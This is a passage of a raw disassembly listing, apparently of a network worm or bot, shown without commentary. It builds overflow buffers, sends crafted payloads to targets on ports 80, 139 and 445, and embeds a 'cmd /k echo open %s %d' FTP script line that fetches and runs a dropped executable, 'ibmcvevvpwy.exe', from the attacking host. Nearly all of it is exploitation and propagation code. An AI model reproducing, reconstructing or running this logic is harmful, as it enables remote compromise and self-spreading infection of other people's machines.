					; sub_40C930+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C776
		test	al, al
		jz	short loc_40C90E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42DF84
		call	sub_40C708
		mov	ecx, esi
		call	sub_40C75D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40C90E:				; CODE XREF: sub_40C8D5+Fj
		pop	esi
		leave
		retn
sub_40C8D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C911	proc near		; CODE XREF: sub_40C930+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40C8C5
		test	al, al
		jz	short loc_40C92C
		mov	ecx, esi
		call	sub_40C8D5


loc_40C92C:				; CODE XREF: sub_40C911+12j
		pop	esi
		retn	8
sub_40C911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C930	proc near		; CODE XREF: seg000:0040D1A9p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C6C4
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CC74
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CC74
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C6C4
		lea	ecx, [ebp+var_20]
		call	sub_40C6C4
		lea	ecx, [ebp+var_50]
		call	sub_40C6C4
		lea	ecx, [ebp+var_18]
		call	sub_40C6C4
		lea	ecx, [ebp+var_40]
		call	sub_40C6C4
		lea	ecx, [ebp+var_38]
		call	sub_40C6C4
		lea	ecx, [ebp+var_28]
		call	sub_40C6C4
		push	4
		push	offset dword_4333D4
		lea	ecx, [ebp+var_30]
		call	sub_40C874
		push	3
		push	offset dword_4333DC
		lea	ecx, [ebp+var_30]
		call	sub_40C874
		lea	ecx, [ebp+var_30]
		call	sub_40C7FA
		lea	ecx, [ebp+var_30]
		call	sub_40C8D5
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40C874
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40C874
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40C874
		lea	ecx, [ebp+var_20]
		call	sub_40C7FA
		push	offset loc_433764
		lea	ecx, [ebp+var_50]
		call	sub_40C8A8
		lea	ecx, [ebp+var_50]
		call	sub_40C7FA
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C6CE
		lea	ecx, [ebp+var_58]
		call	sub_40C7FA
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40C911
		lea	ecx, [ebp+var_58]
		call	sub_40C75D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40C8A8
		push	4
		push	offset dword_4333E0
		lea	ecx, [ebp+var_18]
		call	sub_40C874
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40C874
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40C874
		lea	ecx, [ebp+var_18]
		call	sub_40C7FA
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40C8C5
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40C8C5
		lea	ecx, [ebp+var_40]
		call	sub_40C8D5
		lea	ecx, [ebp+var_18]
		call	sub_40C75D
		lea	ecx, [ebp+var_50]
		call	sub_40C75D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40C8C5
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40C8C5
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40C8C5
		lea	ecx, [ebp+var_38]
		call	sub_40C8D5
		lea	ecx, [ebp+var_20]
		call	sub_40C75D
		lea	ecx, [ebp+var_30]
		call	sub_40C75D
		lea	ecx, [ebp+var_40]
		call	sub_40C75D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40C874
		lea	ecx, [ebp+var_28]
		call	sub_40C7FA
		push	2
		push	offset dword_433758
		lea	ecx, [ebp+var_28]
		call	sub_40C874
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40C8C5
		lea	ecx, [ebp+var_28]
		call	sub_40C8D5
		lea	ecx, [ebp+var_38]
		call	sub_40C75D
		lea	ecx, [ebp+var_10]
		call	sub_40C6C4
		lea	ecx, [ebp+var_8]
		call	sub_40C6C4
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40C8C5
		lea	ecx, [ebp+var_10]
		call	sub_40C776
		lea	ecx, [ebp+var_28]
		call	sub_40C75D
		push	offset dword_433754
		lea	ecx, [ebp+var_8]
		call	sub_40C8A8
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C8C5
		lea	ecx, [ebp+var_8]
		call	sub_40C776
		lea	ecx, [ebp+var_10]
		call	sub_40C75D
		push	offset dword_433750
		lea	ecx, [ebp+var_10]
		call	sub_40C8A8
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40C8C5
		lea	ecx, [ebp+var_10]
		call	sub_40C776
		lea	ecx, [ebp+var_8]
		call	sub_40C75D
		push	offset dword_433744
		lea	ecx, [ebp+var_8]
		call	sub_40C8A8
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C8C5
		lea	ecx, [ebp+var_8]
		call	sub_40C776
		lea	ecx, [ebp+var_10]
		call	sub_40C75D
		push	(offset	loc_43373F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40C8A8
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40C8C5
		lea	ecx, [ebp+var_8]
		call	sub_40C75D
		pop	esi


loc_40CC74:				; CODE XREF: sub_40C930+1Bj
					; sub_40C930+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40C930	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC86	proc near		; CODE XREF: sub_40CD4A+A2p
					; sub_40CD4A+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_428228	; select
		cmp	eax, edi
		jnz	short loc_40CCED
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426A18	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CCF1


loc_40CCED:				; CODE XREF: sub_40CC86+54j
		xor	eax, eax
		jmp	short loc_40CD01
; ---------------------------------------------------------------------------


loc_40CCF1:				; CODE XREF: sub_40CC86+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_4CDC10	; recv


loc_40CD01:				; CODE XREF: sub_40CC86+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD05	proc near		; CODE XREF: sub_40CD4A+80p
					; sub_40CD4A+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_4CDBF4	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC48	; send
		cmp	eax, 4
		jz	short loc_40CD2F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD2F:				; CODE XREF: sub_40CD05+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4CDC48	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CD05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD4A	proc near		; CODE XREF: sub_40CE29+48p
					; seg000:0040D29Ap

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CD73
		xor	al, al
		jmp	loc_40CE24
; ---------------------------------------------------------------------------


loc_40CD73:				; CODE XREF: sub_40CD4A+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B780
		push	2Fh
		push	offset dword_433470
		push	esi
		call	sub_41C500
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4334A0
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C500
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C500
		push	6
		add	ebx, edi
		push	offset dword_4D08F8
		push	ebx
		call	sub_41C500
		push	85h
		push	offset dword_4333E8
		push	[ebp+arg_0]
		call	sub_40CD05
		add	esp, 48h
		test	al, al
		jnz	short loc_40CDDA


loc_40CDD6:				; CODE XREF: sub_40CD4A+B8j
		xor	bl, bl
		jmp	short loc_40CE1B
; ---------------------------------------------------------------------------


loc_40CDDA:				; CODE XREF: sub_40CD4A+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40CC86
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40CD05
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CDD6
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40CC86
		add	esp, 10h
		mov	bl, 1


loc_40CE1B:				; CODE XREF: sub_40CD4A+8Ej
		push	esi
		call	sub_41B2A1
		pop	ecx
		mov	al, bl


loc_40CE24:				; CODE XREF: sub_40CD4A+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CD4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE29	proc near		; CODE XREF: seg000:0040D280p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4334B0
		push	[ebp+arg_0]
		call	ds:dword_428224	; send
		cmp	eax, 48h
		jnz	short loc_40CE64
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CC86
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CE64
		cmp	[ebp+var_20], 82h
		jz	short loc_40CE68


loc_40CE64:				; CODE XREF: sub_40CE29+1Bj
					; sub_40CE29+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CE68:				; CODE XREF: sub_40CE29+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CD4A
		add	esp, 0Ch
		leave
		retn
sub_40CE29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE7B	proc near		; CODE XREF: sub_40CEC7+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_428698
		call	sub_41C988
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_428690
		fstp	[esp+10h+var_10]
		call	sub_41C869
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C988
		inc	eax
		leave
		retn
sub_40CE7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEC7	proc near		; CODE XREF: sub_40D066+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4270BB
		call	sub_41CE54
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_40D4F9
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_40CE7B
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40CF09
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D473


loc_40CF09:				; CODE XREF: sub_40CEC7+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D027
		mov	ebx, [ebp+10h]


loc_40CF18:				; CODE XREF: sub_40CEC7+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40CF23
		push	3


loc_40CF20:				; CODE XREF: sub_40CEC7+64j
		pop	ebx
		jmp	short loc_40CF36
; ---------------------------------------------------------------------------


loc_40CF23:				; CODE XREF: sub_40CEC7+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40CF2D
		push	2
		jmp	short loc_40CF20
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CEC7+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40CF36
		xor	ebx, ebx
		inc	ebx


loc_40CF36:				; CODE XREF: sub_40CEC7+5Aj
					; sub_40CEC7+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_4286A0
		fstp	[esp+40h+var_40]
		call	sub_41C9AF
		pop	ecx
		pop	ecx
		call	sub_41C988
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40CF75
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40CF75:				; CODE XREF: sub_40CEC7+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40CFE3
		add	[ebp-18h], eax


loc_40CFC7:				; CODE XREF: sub_40CEC7+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_433500[eax]
		push	eax
		push	1
		call	sub_40D2F4
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40CFC7


loc_40CFE3:				; CODE XREF: sub_40CEC7+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D001
		push	dword ptr [ebp+14h]
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D34E
		mov	[ebp-18h], edi


loc_40D001:				; CODE XREF: sub_40CEC7+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D01B
		sub	esi, [ebp-1Ch]


loc_40D00C:				; CODE XREF: sub_40CEC7+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D2F4
		dec	esi
		jnz	short loc_40D00C


loc_40D01B:				; CODE XREF: sub_40CEC7+140j
		cmp	[ebp+10h], edi
		ja	loc_40CF18
		xor	ebx, ebx
		inc	ebx


loc_40D027:				; CODE XREF: sub_40CEC7+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D4F9
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_40D3A6
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D4F9
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40CEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D066	proc near		; CODE XREF: seg000:0040D263p
		mov	eax, offset loc_4270D8
		call	sub_41CE54
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43FDB4
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40CEC7
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B6C5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D0B0
		xor	bl, bl
		jmp	short loc_40D0F4
; ---------------------------------------------------------------------------


loc_40D0B0:				; CODE XREF: sub_40D066+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4286A8
		cmp	ecx, ebx
		jnz	short loc_40D0BE
		mov	ecx, eax


loc_40D0BE:				; CODE XREF: sub_40D066+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D0C6
		mov	eax, [ebp+18h]


loc_40D0C6:				; CODE XREF: sub_40D066+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41BB70
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC48	; send
		cmp	eax, esi
		jz	short loc_40D0EB
		xor	bl, bl
		jmp	short loc_40D0ED
; ---------------------------------------------------------------------------


loc_40D0EB:				; CODE XREF: sub_40D066+7Fj
		mov	bl, 1


loc_40D0ED:				; CODE XREF: sub_40D066+83j
		push	edi
		call	sub_41B2A1
		pop	ecx


loc_40D0F4:				; CODE XREF: sub_40D066+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D4F9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D4F9
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D066	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4336B0
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		mov	eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
		push	eax
		push	eax
		movzx	eax, word ptr ds:dword_4CD938
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AAF8
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41BB70
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_433548
		push	eax
		call	sub_40C930
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D1BF
		xor	eax, eax
		jmp	loc_40D2E7
; ---------------------------------------------------------------------------


loc_40D1BF:				; CODE XREF: seg000:0040D1B6j
		mov	[ebp-0Ch], esi


loc_40D1C2:				; CODE XREF: seg000:0040D2C2j
		test	esi, esi
		jnz	loc_40D2C8
		push	6
		push	1
		push	2
		call	ds:dword_428220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D2B0
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4CDC38	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4CDBA0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D2A5
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D26D
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D4F9
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D531
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D066
		add	esp, 1Ch
		jmp	short loc_40D2A2
; ---------------------------------------------------------------------------


loc_40D26D:				; CODE XREF: seg000:0040D22Bj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D287
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CE29
		jmp	short loc_40D29F
; ---------------------------------------------------------------------------


loc_40D287:				; CODE XREF: seg000:0040D277j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D2A5
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CD4A


loc_40D29F:				; CODE XREF: seg000:0040D285j
		add	esp, 0Ch


loc_40D2A2:				; CODE XREF: seg000:0040D26Bj
		movzx	esi, al


loc_40D2A5:				; CODE XREF: seg000:0040D21Ej
					; seg000:0040D291j
		push	ebx
		call	ds:dword_4CDC90	; closesocket
		test	esi, esi
		jnz	short loc_40D2BB


loc_40D2B0:				; CODE XREF: seg000:0040D1DBj
		push	3E8h
		call	ds:dword_428064	; Sleep


loc_40D2BB:				; CODE XREF: seg000:0040D2AEj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D1C2


loc_40D2C8:				; CODE XREF: seg000:0040D1C4j
		lea	ecx, [ebp-8]
		call	sub_40C75D
		test	esi, esi
		jz	short loc_40D2E5
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40D2E5:				; CODE XREF: seg000:0040D2D2j
		mov	eax, esi


loc_40D2E7:				; CODE XREF: seg000:0040D1BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42709C


loc_40D2EC:				; CODE XREF: sub_42709C+3j
					; seg000:004270B5j ...
		push	1
		call	sub_40D4F9
		retn
; END OF FUNCTION CHUNK	FOR sub_42709C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40CEC7+111p
					; sub_40CEC7+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_40D30B
		call	sub_4266C0


loc_40D30B:				; CODE XREF: sub_40D2F4+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40D346
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40D473
		test	al, al
		jz	short loc_40D346
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B780
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D346:				; CODE XREF: sub_40D2F4+1Bj
					; sub_40D2F4+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D34E	proc near		; CODE XREF: sub_40CEC7+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40D365
		call	sub_4266C0


loc_40D365:				; CODE XREF: sub_40D34E+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_40D39E
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40D473
		test	al, al
		jz	short loc_40D39E
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C500
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D39E:				; CODE XREF: sub_40D34E+1Bj
					; sub_40D34E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40D34E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A6	proc near		; CODE XREF: sub_40CEC7+179p
					; sub_42671A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
